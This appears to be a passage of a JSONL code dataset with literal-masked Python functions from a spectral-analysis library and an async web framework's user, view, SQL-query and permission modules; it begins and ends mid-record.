only once.\n\n    .. plot::\n        :width: 80%\n        :include-source:\n\n        from spectrum import CORRELOGRAMPSD, marple_data\n        from spectrum.tools import cshift\n        from pylab import log10, axis, grid, plot,linspace\n\n        psd = CORRELOGRAMPSD(marple_data, marple_data, lag=15)\n        f = linspace(-0.5, 0.5, len(psd))\n        psd = cshift(psd, len(psd)/2)\n        plot(f, 10*log10(psd/max(psd)))\n        axis([-0.5,0.5,-50,0])\n        grid(True)\n\n    .. seealso:: :func:`create_window`, :func:`CORRELATION`, :func:`xcorr`,\n        :class:`pcorrelogram`.", "id": "f10940:m0"}
{"signature": "def __init__(self, data, sampling=<NUM_LIT:1.>, lag=-<NUM_LIT:1>,<EOL>window='<STR_LIT>', NFFT=None, scale_by_freq=True,<EOL>detrend=None):", "body": "super(pcorrelogram, self).__init__(data,<EOL>window=window,<EOL>sampling=sampling,<EOL>NFFT=NFFT,<EOL>scale_by_freq=scale_by_freq,<EOL>lag=lag,<EOL>detrend=detrend)<EOL>", "docstring": "**Correlogram Constructor**\n\n        :param array data: input data (list or numpy.array)\n        :param float sampling: sampling frequency of the input :attr:`data`.\n        :param int lag:\n        :param str window: a tapering window. See :class:`~spectrum.window.Window`.\n        :param int NFFT: total length of the final data sets (padded with \n            zero if needed; default is 4096)\n        :param bool scale_by_freq:\n        :param str detrend:", "id": "f10940:c0:m0"}
{"signature": "def TOEPLITZ(T0, TC, TR, Z):", "body": "assert len(TC)><NUM_LIT:0><EOL>assert len(TC)==len(TR)<EOL>M = len(TC)<EOL>X = numpy.zeros(M+<NUM_LIT:1>,dtype=complex)<EOL>A = numpy.zeros(M,dtype=complex)<EOL>B = numpy.zeros(M,dtype=complex)<EOL>P = T0<EOL>if P == <NUM_LIT:0>: raise ValueError(\"<STR_LIT>\")<EOL>if P == <NUM_LIT:0>: raise ValueError(\"<STR_LIT>\")<EOL>X[<NUM_LIT:0>] = Z[<NUM_LIT:0>]/T0 <EOL>for k in range(<NUM_LIT:0>, M):<EOL><INDENT>save1 = TC[k]<EOL>save2 = TR[k]<EOL>beta = X[<NUM_LIT:0>]*TC[k]<EOL>if k == <NUM_LIT:0>:<EOL><INDENT>temp1 = -save1 / P<EOL>temp2 = -save2 / P<EOL><DEDENT>else:<EOL><INDENT>for j in range(<NUM_LIT:0>, k):<EOL><INDENT>save1 = save1 + A[j] * TC[k-j-<NUM_LIT:1>]<EOL>save2 = save2 + B[j] * TR[k-j-<NUM_LIT:1>]<EOL>beta = beta + X[j+<NUM_LIT:1>] * TC[k-j-<NUM_LIT:1>]<EOL><DEDENT>temp1 = -save1 / P<EOL>temp2 = -save2/P<EOL><DEDENT>P = P * (<NUM_LIT:1.> - (temp1*temp2))<EOL>if P <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>A[k] = temp1<EOL>B[k] = temp2<EOL>alpha = (Z[k+<NUM_LIT:1>]-beta)/P<EOL>if k == <NUM_LIT:0>: <EOL><INDENT>X[k+<NUM_LIT:1>] = alpha<EOL>for j in range(<NUM_LIT:0>,k+<NUM_LIT:1>):<EOL><INDENT>X[j] = X[j] + alpha * B[k-j]<EOL><DEDENT>continue<EOL><DEDENT>for j in range(<NUM_LIT:0>, k):<EOL><INDENT>kj = k-j-<NUM_LIT:1><EOL>save1 = A[j]<EOL>A[j] = save1 + temp1 * B[kj] <EOL>B[kj] = B[kj] + temp2*save1<EOL><DEDENT>X[k+<NUM_LIT:1>] = alpha<EOL>for j in range(<NUM_LIT:0>,k+<NUM_LIT:1>):<EOL><INDENT>X[j] = X[j] + alpha*B[k-j]<EOL><DEDENT><DEDENT>return X<EOL>", "docstring": "solve the general toeplitz linear equations\n\n    Solve TX=Z\n\n    :param T0: zero lag value\n    :param TC: r1 to rN \n    :param TR: r1 to rN\n\n    returns X\n\n    requires 3M^2+M operations instead of M^3 with gaussian elimination\n\n    .. warning:: not used right now", "id": "f10942:m0"}
{"signature": "def HERMTOEP(T0, T, Z):", "body": "assert len(T)><NUM_LIT:0><EOL>M = len(T)<EOL>X = numpy.zeros(M+<NUM_LIT:1>,dtype=complex)<EOL>A = numpy.zeros(M,dtype=complex)<EOL>P = T0<EOL>if P == <NUM_LIT:0>: raise ValueError(\"<STR_LIT>\")<EOL>X[<NUM_LIT:0>] = Z[<NUM_LIT:0>]/T0 <EOL>for k in range(<NUM_LIT:0>, M):<EOL><INDENT>save = T[k]<EOL>beta = X[<NUM_LIT:0>]*T[k]<EOL>if k == <NUM_LIT:0>:<EOL><INDENT>temp = -save / P<EOL><DEDENT>else:<EOL><INDENT>for j in range(<NUM_LIT:0>, k):<EOL><INDENT>save = save + A[j] * T[k-j-<NUM_LIT:1>]<EOL>beta = beta + X[j+<NUM_LIT:1>] * T[k-j-<NUM_LIT:1>]<EOL><DEDENT>temp = -save / P<EOL><DEDENT>P = P * (<NUM_LIT:1.> - (temp.real**<NUM_LIT:2>+temp.imag**<NUM_LIT:2>))<EOL>if P <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>A[k] = temp<EOL>alpha = (Z[k+<NUM_LIT:1>]-beta)/P<EOL>if k == <NUM_LIT:0>:<EOL><INDENT>X[k+<NUM_LIT:1>] = alpha<EOL>for j in range(<NUM_LIT:0>,k+<NUM_LIT:1>):<EOL><INDENT>X[j] = X[j] + alpha * A[k-j].conjugate()<EOL><DEDENT>continue<EOL><DEDENT>khalf = (k+<NUM_LIT:1>)//<NUM_LIT:2><EOL>for j in range(<NUM_LIT:0>, khalf):<EOL><INDENT>kj = k-j-<NUM_LIT:1><EOL>save=A[j]<EOL>A[j] = save+temp*A[kj].conjugate() <EOL>if j != kj:<EOL><INDENT>A[kj] = A[kj] + temp*save.conjugate()<EOL><DEDENT><DEDENT>X[k+<NUM_LIT:1>] = alpha<EOL>for j in range(<NUM_LIT:0>,k+<NUM_LIT:1>):<EOL><INDENT>X[j] = X[j] + alpha * A[k-j].conjugate()<EOL><DEDENT><DEDENT>return X<EOL>", "docstring": "solve Tx=Z by a variation of Levinson algorithm where T \n    is a complex hermitian toeplitz matrix\n\n    :param T0: zero lag value\n    :param T: r1 to rN\n\n    :return: X\n\n    used by eigen PSD method", "id": "f10942:m1"}
{"signature": "def readwav(filename):", "body": "from scipy.io.wavfile import read as readwav<EOL>samplerate, signal = readwav(filename)<EOL>return signal, samplerate<EOL>", "docstring": "Read a WAV file and returns the data and sample rate\n\n    ::\n\n        from spectrum.io import readwav\n        readwav()", "id": "f10943:m0"}
{"signature": "def data_cosine(N=<NUM_LIT>, A=<NUM_LIT:0.1>, sampling=<NUM_LIT>, freq=<NUM_LIT:200>):", "body": "t = arange(<NUM_LIT:0>, float(N)/sampling, <NUM_LIT:1.>/sampling)<EOL>x = cos(<NUM_LIT>*pi*t*freq) + A * randn(t.size)<EOL>return x<EOL>", "docstring": "r\"\"\"Return a noisy cosine at a given frequency.\n\n    :param N:           the final data size\n    :param A:           the strength of the noise\n    :param float sampling: sampling frequency of the input :attr:`data`.\n    :param float freq:  the frequency :math:`f_0` of the cosine.\n\n    .. math:: x[t] = cos(2\\pi t * f_0) + A w[t]\n\n    where w[t] is a white noise of variance 1.\n\n    .. doctest::\n\n        >>> from spectrum import data_cosine\n        >>> a = data_cosine(N=1024, sampling=1024, A=0.5, freq=100)", "id": "f10944:m0"}
{"signature": "def data_two_freqs(N=<NUM_LIT:200>):", "body": "nn = arange(N)<EOL>xx = cos(<NUM_LIT>*pi*nn) + sin(<NUM_LIT>*pi*nn) + <NUM_LIT>*randn(nn.size)<EOL>return xx<EOL>", "docstring": "A simple test example with two close frequencies", "id": "f10944:m1"}
{"signature": "def spectrum_data(filename):", "body": "import os<EOL>import pkg_resources<EOL>info = pkg_resources.get_distribution('<STR_LIT>')<EOL>location = info.location<EOL>share = os.sep.join([location, \"<STR_LIT>\", '<STR_LIT:data>'])<EOL>filename2 = os.sep.join([share, filename])<EOL>if os.path.exists(filename2):<EOL><INDENT>return filename2<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>' % filename2)<EOL><DEDENT>", "docstring": "Simple utilities to retrieve data sets from", "id": "f10944:m2"}
{"signature": "def __init__(self, data, sampling=<NUM_LIT:1>):", "body": "self.data = data<EOL>self.N = len(data)<EOL>self.sampling = sampling<EOL>self.dt = <NUM_LIT:1.>/sampling<EOL>", "docstring": ":param array data: input data (list or numpy.array)\n:param sampling: the sampling frequency of the data (default 1Hz)", "id": "f10944:c0:m0"}
{"signature": "def plot(self, **kargs):", "body": "from pylab import plot, linspace, xlabel, ylabel, grid<EOL>time = linspace(<NUM_LIT:1>*self.dt, self.N*self.dt, self.N)<EOL>plot(time, self.data, **kargs)<EOL>xlabel('<STR_LIT>')<EOL>ylabel('<STR_LIT>')<EOL>grid(True)<EOL>", "docstring": "Plot the data set, using the sampling information to set the x-axis\n        correctly.", "id": "f10944:c0:m1"}
{"signature": "@property<EOL><INDENT>def roles(self):<DEDENT>", "body": "ret = {None}<EOL>if self.state == POST_STATE.DEL:<EOL><INDENT>return ret<EOL><DEDENT>ret.add('<STR_LIT:user>')<EOL>return ret<EOL>", "docstring": "BaseUser.roles \u7684\u5b9e\u73b0\uff0c\u8fd4\u56de\u7528\u6237\u53ef\u7528\u89d2\u8272\n:return:", "id": "f10963:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>def gen_password_and_salt(cls, password_text):<DEDENT>", "body": "salt = os.urandom(<NUM_LIT:32>)<EOL>dk = hashlib.pbkdf2_hmac(<EOL>config.PASSWORD_HASH_FUNC_NAME,<EOL>password_text.encode('<STR_LIT:utf-8>'),<EOL>salt,<EOL>config.PASSWORD_HASH_ITERATIONS,<EOL>)<EOL>return {'<STR_LIT:password>': dk, '<STR_LIT>': salt}<EOL>", "docstring": "\u751f\u6210\u52a0\u5bc6\u540e\u7684\u5bc6\u7801\u548c\u76d0", "id": "f10963:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def gen_token(cls):<DEDENT>", "body": "token = os.urandom(<NUM_LIT:16>)<EOL>token_time = int(time.time())<EOL>return {'<STR_LIT>': token, '<STR_LIT>': token_time}<EOL>", "docstring": "\u751f\u6210 access_token", "id": "f10963:c1:m2"}
{"signature": "@classmethod<EOL><INDENT>def get_by_token(cls, token):<DEDENT>", "body": "try:<EOL><INDENT>return cls.get(cls.token == token)<EOL><DEDENT>except DoesNotExist:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "\u6839\u636e access_token \u83b7\u53d6\u7528\u6237", "id": "f10963:c1:m4"}
{"signature": "def set_password(self, new_password):", "body": "info = self.gen_password_and_salt(new_password)<EOL>self.password = info['<STR_LIT:password>']<EOL>self.salt = info['<STR_LIT>']<EOL>self.save()<EOL>", "docstring": "\u8bbe\u7f6e\u5bc6\u7801", "id": "f10963:c1:m5"}
{"signature": "def _auth_base(self, password_text):", "body": "dk = hashlib.pbkdf2_hmac(<EOL>config.PASSWORD_HASH_FUNC_NAME,<EOL>password_text.encode('<STR_LIT:utf-8>'),<EOL>get_bytes_from_blob(self.salt),<EOL>config.PASSWORD_HASH_ITERATIONS<EOL>)<EOL>if self.password == dk:<EOL><INDENT>return self<EOL><DEDENT>", "docstring": "\u5df2\u83b7\u53d6\u4e86\u7528\u6237\u5bf9\u8c61\uff0c\u8fdb\u884c\u5bc6\u7801\u6821\u9a8c\n:param password_text:\n:return:", "id": "f10963:c1:m6"}
{"signature": "@classmethod<EOL><INDENT>def use(cls, name, method: [str, Set, List], url=None):<DEDENT>", "body": "if not isinstance(method, (str, list, set, tuple)):<EOL><INDENT>raise BaseException('<STR_LIT>' % type(method).__name__)<EOL><DEDENT>if isinstance(method, str):<EOL><INDENT>method = {method}<EOL><DEDENT>cls._interface[name] = [{'<STR_LIT>': method, '<STR_LIT:url>': url}]<EOL>", "docstring": "interface helper function", "id": "f10982:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def discard(cls, name):<DEDENT>", "body": "cls._interface.pop(name, None)<EOL>", "docstring": "interface helper function", "id": "f10982:c0:m2"}
{"signature": "async def get_ip(self) -> Union[IPv4Address, IPv6Address]:", "body": "xff = await self.get_x_forwarded_for()<EOL>if xff: return xff[<NUM_LIT:0>]<EOL>ip_addr = self._request.transport.get_extra_info('<STR_LIT>')[<NUM_LIT:0>]<EOL>return ip_address(ip_addr)<EOL>", "docstring": "get ip address of client\n:return:", "id": "f10982:c0:m13"}
{"signature": "def finish(self, code, data=NotImplemented):", "body": "if data is NotImplemented:<EOL><INDENT>data = RETCODE.txt_cn.get(code, None)<EOL><DEDENT>self.ret_val = {'<STR_LIT:code>': code, '<STR_LIT:data>': data}  <EOL>self.response = web.json_response(self.ret_val, dumps=json_ex_dumps)<EOL>logger.debug('<STR_LIT>' % self.ret_val)<EOL>self._finish_end()<EOL>", "docstring": "Set response as {'code': xxx, 'data': xxx}\n:param code:\n:param data:\n:return:", "id": "f10982:c0:m19"}
{"signature": "def finish_raw(self, body: bytes, status: int = <NUM_LIT:200>, content_type: Optional[str] = None):", "body": "self.ret_val = body<EOL>self.response = web.Response(body=body, status=status, content_type=content_type)<EOL>logger.debug('<STR_LIT>' % len(body))<EOL>self._finish_end()<EOL>", "docstring": "Set raw response\n:param body:\n:param status:\n:param content_type:\n:return:", "id": "f10982:c0:m20"}
{"signature": "@property<EOL><INDENT>def route_info(self):<DEDENT>", "body": "return self._request.match_info<EOL>", "docstring": "info matched by router\n:return:", "id": "f10982:c0:m30"}
{"signature": "@classmethod<EOL><INDENT>def _ready(cls):<DEDENT>", "body": "sync_call(cls.ready)<EOL>", "docstring": "private version of cls.ready()", "id": "f10982:c0:m31"}
{"signature": "@classmethod<EOL><INDENT>def ready(cls):<DEDENT>", "body": "pass<EOL>", "docstring": "All modules loaded, and ready to serve.\nEmitted after register routes and before loop start\n:return:", "id": "f10982:c0:m32"}
{"signature": "@classmethod<EOL><INDENT>def add_soft_foreign_key(cls, column, table_name, alias=None):<DEDENT>", "body": "if column in cls.fields:<EOL><INDENT>table = SQLForeignKey(table_name, column, cls.fields[column], True)<EOL>if alias:<EOL><INDENT>if alias in cls.foreign_keys_table_alias:<EOL><INDENT>logger.warning(\"<STR_LIT>\" %<EOL>(cls.__name__, column, table_name))<EOL><DEDENT>cls.foreign_keys_table_alias[alias] = table<EOL><DEDENT>if column not in cls.foreign_keys:<EOL><INDENT>cls.foreign_keys[column] = [table]<EOL><DEDENT>else:<EOL><INDENT>if not alias:<EOL><INDENT>logger.warning(\"<STR_LIT>\" %<EOL>(cls.__name__, column, table_name))<EOL><DEDENT>cls.foreign_keys[column].append(table)<EOL><DEDENT>return True<EOL><DEDENT>", "docstring": "the column stores foreign table's primary key but isn't a foreign key (to avoid constraint)\nwarning: if the table not exists, will crash when query with loadfk\n:param column: table's column\n:param table_name: foreign table name\n:param alias: table name's alias. Default is as same as table name.\n:return: True, None", "id": "f10982:c3:m2"}
{"signature": "@property<EOL><INDENT>def current_request_role(self) -> [int, str]:<DEDENT>", "body": "role_val = self.headers.get('<STR_LIT>')<EOL>return int(role_val) if role_val and role_val.isdigit() else role_val<EOL>", "docstring": "Current role requested by client.\n:return:", "id": "f10982:c3:m6"}
{"signature": "async def load_fk(self, info: SQLQueryInfo, records: Iterable[DataRecord]) -> Union[List, Iterable]:", "body": "<EOL>async def check(data, records):<EOL><INDENT>for column, fkvalues_lst in data.items():<EOL><INDENT>for fkvalues in fkvalues_lst:<EOL><INDENT>pks = []<EOL>all_ni = True<EOL>vcls = self.app.tables[fkvalues['<STR_LIT>']]<EOL>for i in records:<EOL><INDENT>val = i.get(column, NotImplemented)<EOL>if val != NotImplemented:<EOL><INDENT>all_ni = False<EOL><DEDENT>pks.append(val)<EOL><DEDENT>if all_ni:<EOL><INDENT>logger.debug(\"<STR_LIT>\" % column)<EOL>continue<EOL><DEDENT>v = vcls(self.app, self._request)  <EOL>await v._prepare()<EOL>info2 = SQLQueryInfo()<EOL>info2.set_select(ALL_COLUMNS)<EOL>info2.add_condition(PRIMARY_KEY, SQL_OP.IN, pks)<EOL>info2.bind(v)<EOL>try:<EOL><INDENT>fk_records, count = await v._sql.select_page(info2, size=-<NUM_LIT:1>)<EOL><DEDENT>except RecordNotFound:<EOL><INDENT>continue<EOL><DEDENT>await v.check_records_permission(info2, fk_records)<EOL>fk_dict = {}<EOL>for i in fk_records:<EOL><INDENT>fk_dict[i[vcls.primary_key]] = i<EOL><DEDENT>column_to_set = fkvalues.get('<STR_LIT>', column) or column<EOL>for _, record in enumerate(records):<EOL><INDENT>k = record.get(column, NotImplemented)<EOL>if k in fk_dict:<EOL><INDENT>record[column_to_set] = fk_dict[k]<EOL><DEDENT><DEDENT>if fkvalues['<STR_LIT>']:<EOL><INDENT>await check(fkvalues['<STR_LIT>'], fk_records)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>await check(info.loadfk, records)<EOL>return records<EOL>", "docstring": ":param info:\n:param records: the data got from database and filtered from permission\n:return:", "id": "f10982:c3:m8"}
{"signature": "async def _call_handle(self, func, *args):", "body": "await async_call(func, *args)<EOL>if self.is_finished:<EOL><INDENT>raise FinishQuitException()<EOL><DEDENT>", "docstring": "call and check result of handle_query/read/insert/update", "id": "f10982:c3:m9"}
{"signature": "@staticmethod<EOL><INDENT>@abstractmethod<EOL>async def _fetch_fields(cls_or_self):<DEDENT>", "body": "pass<EOL>", "docstring": "4 values must be set up in this function:\n1. cls.table_name: str\n2. cls.primary_key: str\n3. cls.fields: Dict['column', SQL_TYPE]\n4. cls.foreign_keys: Dict['column', List[SQLForeignKey]]\n\n:param cls_or_self:\n:return:", "id": "f10982:c3:m17"}
{"signature": "async def after_read(self, records: List[DataRecord]):", "body": "pass<EOL>", "docstring": "\u4e00\u5bf9\u591a\uff0c\u5f53\u6709\u4e00\u4e2a\u6743\u9650\u68c0\u67e5\u5931\u8d25\u65f6\u5373\u8fd4\u56de\u5f02\u5e38\n:param records:\n:return:", "id": "f10982:c3:m19"}
{"signature": "async def before_insert(self, raw_post: Dict, values: SQLValuesToWrite):", "body": "pass<EOL>", "docstring": "\u4e00\u5bf9\u4e00\n:param raw_post:\n:param values:\n:return:", "id": "f10982:c3:m20"}
{"signature": "async def after_insert(self, raw_post: Dict, values: SQLValuesToWrite, record: DataRecord):", "body": "pass<EOL>", "docstring": "\u4e00\u5bf9\u4e00\nEmitted before finish\n:param raw_post:\n:param values:\n:param record:\n:return:", "id": "f10982:c3:m21"}
{"signature": "async def before_update(self, raw_post: Dict, values: SQLValuesToWrite, records: List[DataRecord]):", "body": "pass<EOL>", "docstring": "\u4e00\u5bf9\u591a\uff0c\u5f53\u6709\u4e00\u4e2a\u6743\u9650\u68c0\u67e5\u5931\u8d25\u65f6\u5373\u8fd4\u56de\u5f02\u5e38\nraw_post \u6743\u9650\u8fc7\u6ee4\u548c\u5217\u8fc7\u6ee4\u524d\uff0cvalues \u8fc7\u6ee4\u540e\n:param raw_post:\n:param values:\n:param records:\n:return:", "id": "f10982:c3:m22"}
{"signature": "async def after_update(self, raw_post: Dict, values: SQLValuesToWrite,<EOL>old_records: List[DataRecord], records: List[DataRecord]):", "body": "", "docstring": ":param old_records:\n:param raw_post:\n:param values:\n:param records:\n:return:", "id": "f10982:c3:m23"}
{"signature": "async def before_delete(self, records: List[DataRecord]):", "body": "pass<EOL>", "docstring": ":param records:\n:return:", "id": "f10982:c3:m24"}
{"signature": "async def after_delete(self, deleted_records: List[DataRecord]):", "body": "pass<EOL>", "docstring": ":param deleted_records:\n:return:", "id": "f10982:c3:m25"}
{"signature": "@staticmethod<EOL><INDENT>@abstractmethod<EOL>async def permission_valid_check(cls):<DEDENT>", "body": "pass<EOL>", "docstring": "To make sure current permission settings can fit with sql tables.\n:param cls:\n:return:", "id": "f10982:c3:m26"}
{"signature": "@abstractmethod<EOL><INDENT>async def select_one(self, info: SQLQueryInfo) -> DataRecord:<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Select one record from database\n:param info:\n:return: record", "id": "f10983:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>async def select_page(self, info: SQLQueryInfo, size=<NUM_LIT:1>, page=<NUM_LIT:1>) -> Tuple[Tuple[DataRecord, ...], int]:<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": "Select from database\n:param info:\n:param size: -1 means infinite\n:param page:\n:param need_count: if True, get count as second return value, otherwise -1\n:return: records. count", "id": "f10983:c0:m2"}
{"signature": "@abstractmethod<EOL><INDENT>async def update(self, records: Iterable[DataRecord], values: SQLValuesToWrite, returning=False) -> Union[int, Iterable[DataRecord]]:<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": ":param records:\n:param values:\n:param returning:\n:return: return count if returning is False, otherwise records", "id": "f10983:c0:m3"}
{"signature": "@abstractmethod<EOL><INDENT>async def insert(self, values_lst: Iterable[SQLValuesToWrite], returning=False) -> Union[int, List[DataRecord]]:<DEDENT>", "body": "raise NotImplementedError()<EOL>", "docstring": ":param values_lst:\n:param returning:\n:return: return count if returning is False, otherwise records", "id": "f10983:c0:m4"}
{"signature": "@abstractmethod<EOL><INDENT>def get_current_user(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Override to determine the current user from, e.g., a cookie.", "id": "f10987:c1:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def setup_user_key(self, key, expires=<NUM_LIT:30>):<DEDENT>", "body": "pass<EOL>", "docstring": "setup user key for server", "id": "f10987:c1:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def teardown_user_key(self):<DEDENT>", "body": "pass<EOL>", "docstring": "teardown user key for server, make the token invalid here", "id": "f10987:c1:m3"}
{"signature": "@staticmethod<EOL><INDENT>def parse_order(text):<DEDENT>", "body": "orders = []<EOL>for i in map(str.strip, text.split('<STR_LIT:U+002C>')):<EOL><INDENT>items = i.split('<STR_LIT:.>', <NUM_LIT:2>)<EOL>if len(items) == <NUM_LIT:1>: column, order = items[<NUM_LIT:0>], '<STR_LIT:default>'<EOL>elif len(items) == <NUM_LIT:2>: column, order = items<EOL>else: raise InvalidParams(\"<STR_LIT>\")<EOL>order = order.lower()<EOL>if order not in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT:default>'):<EOL><INDENT>raise InvalidParams('<STR_LIT>' % order)<EOL><DEDENT>if order != '<STR_LIT:default>':<EOL><INDENT>orders.append(SQLQueryOrder(column, order))<EOL><DEDENT><DEDENT>return orders<EOL>", "docstring": ":param text: order=id.desc, xxx.asc\n:return: [\n    [<column>, asc|desc|default],\n    [<column2>, asc|desc|default],\n]", "id": "f10988:c7:m2"}
{"signature": "@classmethod<EOL><INDENT>def parse_select(cls, text: str) -> Set:<DEDENT>", "body": "if text == '<STR_LIT:*>':<EOL><INDENT>return ALL_COLUMNS  <EOL><DEDENT>selected_columns = set(filter(lambda x: x, map(str.strip, text.split('<STR_LIT:U+002C>'))))<EOL>if not selected_columns:<EOL><INDENT>raise InvalidParams(\"<STR_LIT>\")<EOL><DEDENT>return selected_columns<EOL>", "docstring": "get columns from select text\n:param text: col1, col2\n:return: ALL_COLUMNS or ['col1', 'col2']", "id": "f10988:c7:m4"}
{"signature": "@classmethod<EOL><INDENT>def parse_load_fk(cls, data: Dict[str, List[Dict[str, object]]]) -> Dict[str, List[Dict[str, object]]]:<DEDENT>", "body": "default_value_dict = {'<STR_LIT>': None, '<STR_LIT>': None, '<STR_LIT>': None, '<STR_LIT>': None}<EOL>def value_normalize_dict(value):<EOL><INDENT>def check(k, v):<EOL><INDENT>if k == '<STR_LIT>': return isinstance(v, str)<EOL>if k == '<STR_LIT>': return isinstance(v, str)<EOL>if k == '<STR_LIT>': return isinstance(v, str)<EOL>if k == '<STR_LIT>': return isinstance(v, dict)<EOL><DEDENT>valid = {k: v for k, v in value.items() if check(k, v)}<EOL>if not valid: return default_value_dict.copy()<EOL>if '<STR_LIT>' in valid and valid['<STR_LIT>']:<EOL><INDENT>valid['<STR_LIT>'] = cls.parse_load_fk(valid['<STR_LIT>'])<EOL><DEDENT>for k, v in default_value_dict.items():<EOL><INDENT>valid.setdefault(k, v)<EOL><DEDENT>return valid<EOL><DEDENT>def value_normalize(value, no_list=True):<EOL><INDENT>if value is None:<EOL><INDENT>return default_value_dict.copy()<EOL><DEDENT>elif not no_list and isinstance(value, List):<EOL><INDENT>return list(map(value_normalize, value))<EOL><DEDENT>elif isinstance(value, str):<EOL><INDENT>val = default_value_dict.copy()<EOL>val['<STR_LIT>'] = value<EOL>return val<EOL><DEDENT>elif isinstance(value, Dict):<EOL><INDENT>return value_normalize_dict(value)<EOL><DEDENT>else:<EOL><INDENT>raise InvalidParams('<STR_LIT>' % value)<EOL><DEDENT><DEDENT>new_data = {}<EOL>if not isinstance(data, dict):<EOL><INDENT>raise InvalidParams('<STR_LIT>' % data)<EOL><DEDENT>for k, v in data.items():<EOL><INDENT>nv = value_normalize(v, False)<EOL>new_data[k] = nv if isinstance(nv, List) else [nv]<EOL><DEDENT>return new_data<EOL>", "docstring": ":param data:{\n    <column>: role,\n    <column2>: role,\n    <column>: {\n        'role': role,\n        'loadfk': { ... },\n    },\n:return: {\n    <column>: {\n        'role': role,\n    },\n    ...\n    <column3>: {\n        'role': role,\n        'loadfk': { ... },\n    },\n}", "id": "f10988:c7:m5"}
{"signature": "def add_condition(self, field_name, op, value):", "body": "if not isinstance(op, SQL_OP):<EOL><INDENT>if op not in SQL_OP.txt2op:<EOL><INDENT>raise SQLOperatorInvalid(op)<EOL><DEDENT>else:<EOL><INDENT>op = SQL_OP.txt2op.get(op)<EOL><DEDENT><DEDENT>self.conditions.append([field_name, op, value])<EOL>", "docstring": "Add a query condition and validate it.\nraise ParamsException if failed.\nself.view required\n:param field_name:\n:param op:\n:param value:\n:return: None", "id": "f10988:c7:m6"}
{"signature": "def __init__(self, role: (str, int), data: dict = None, based_on=None):", "body": "self.role = role<EOL>if based_on:<EOL><INDENT>self.rules = copy.deepcopy(based_on.rules)<EOL><DEDENT>else:<EOL><INDENT>self.rules = {}<EOL><DEDENT>self.query_condition_params = {}<EOL>self.query_condition_params_funcs = {}<EOL>self.common_checks = []<EOL>self.record_checks = []<EOL>if data:<EOL><INDENT>def convert(val: str):<EOL><INDENT>if val == '<STR_LIT:*>': return '<STR_LIT:*>'<EOL>val = val.upper()<EOL>ret = []<EOL>if '<STR_LIT>' in val: ret.append(A.QUERY)<EOL>if '<STR_LIT>' in val: ret.append(A.WRITE)<EOL>if '<STR_LIT:R>' in val: ret.append(A.READ)<EOL>if '<STR_LIT:C>' in val: ret.append(A.CREATE)<EOL>if '<STR_LIT:D>' in val: ret.append(A.DELETE)<EOL>return ret<EOL><DEDENT>def parse(v):<EOL><INDENT>ret = copy.deepcopy(v)<EOL>if ret == str:<EOL><INDENT>ret = convert(ret)<EOL><DEDENT>elif ret == dict:<EOL><INDENT>for k, v in ret.items():<EOL><INDENT>ret[k] = convert(v)<EOL><DEDENT><DEDENT>return ret<EOL><DEDENT>for k, v in data.items():<EOL><INDENT>if isinstance(v, dict):<EOL><INDENT>if k in self.rules and isinstance(self.rules[k], dict):<EOL><INDENT>self.rules[k].update(parse(v))<EOL>continue<EOL><DEDENT><DEDENT>self.rules[k] = parse(v)<EOL><DEDENT><DEDENT>", "docstring": "{\n    'user': {\n        'username': ['query', 'read'],\n        'nickname': ['query', 'read'],\n        'password': ['query', 'read'],\n        '*': ['write'],\n    },\n    'topic': '*',\n    'test': ['query', 'read', 'write', 'create', 'delete'],\n}\n:param role: \n:param data: \n:param based_on:", "id": "f10990:c3:m0"}
{"signature": "def add_common_check(self, actions, table, func):", "body": "self.common_checks.append([table, actions, func])<EOL>\"\"\"<STR_LIT>\"\"\"<EOL>", "docstring": "emitted before query\n:param actions:\n:param table:\n:param func:\n:return:", "id": "f10990:c3:m3"}
{"signature": "def _parse_permission(self, obj):", "body": "if isinstance(obj, str):<EOL><INDENT>if obj == '<STR_LIT:*>':<EOL><INDENT>return A.ALL<EOL><DEDENT>elif obj in A.ALL:<EOL><INDENT>return obj,<EOL><DEDENT>else:<EOL><INDENT>logger.warning('<STR_LIT>', obj)<EOL><DEDENT><DEDENT>elif isinstance(obj, (list, tuple)):<EOL><INDENT>for i in obj:<EOL><INDENT>if i not in A.ALL:<EOL><INDENT>logger.warning('<STR_LIT>', i)<EOL><DEDENT><DEDENT>return obj<EOL><DEDENT>elif isinstance(obj, dict):<EOL><INDENT>return self._parse_permission(obj.get('<STR_LIT:*>'))<EOL><DEDENT>", "docstring": "\u4ece obj \u4e2d\u53d6\u51fa\u6743\u9650\n:param obj:\n:return: [A.QUERY, A.WRITE, ...]", "id": "f10990:c3:m5"}
{"signature": "def can_with_columns(self, user, action, table, columns):", "body": "<EOL>global_data = self.rules.get('<STR_LIT:*>')<EOL>global_actions = self._parse_permission(global_data)<EOL>if global_actions and action in global_actions:<EOL><INDENT>available = list(columns)<EOL><DEDENT>else:<EOL><INDENT>available = []<EOL><DEDENT>table_data = self.rules.get(table)<EOL>table_actions = self._parse_permission(table_data)<EOL>if table_actions and action in table_actions:<EOL><INDENT>available = list(columns)<EOL><DEDENT>if type(table_data) == dict:<EOL><INDENT>for column in columns:<EOL><INDENT>column_actions = self._parse_permission(table_data.get(column))<EOL>if column_actions is not None:<EOL><INDENT>if action in column_actions:<EOL><INDENT>if column not in available:<EOL><INDENT>available.append(column)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if column in available:<EOL><INDENT>available.remove(column)<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>for check in self.common_checks:<EOL><INDENT>if check[<NUM_LIT:0>] == table and action in check[<NUM_LIT:1>]:<EOL><INDENT>ret = check[-<NUM_LIT:1>](self, user, action, available)<EOL>if 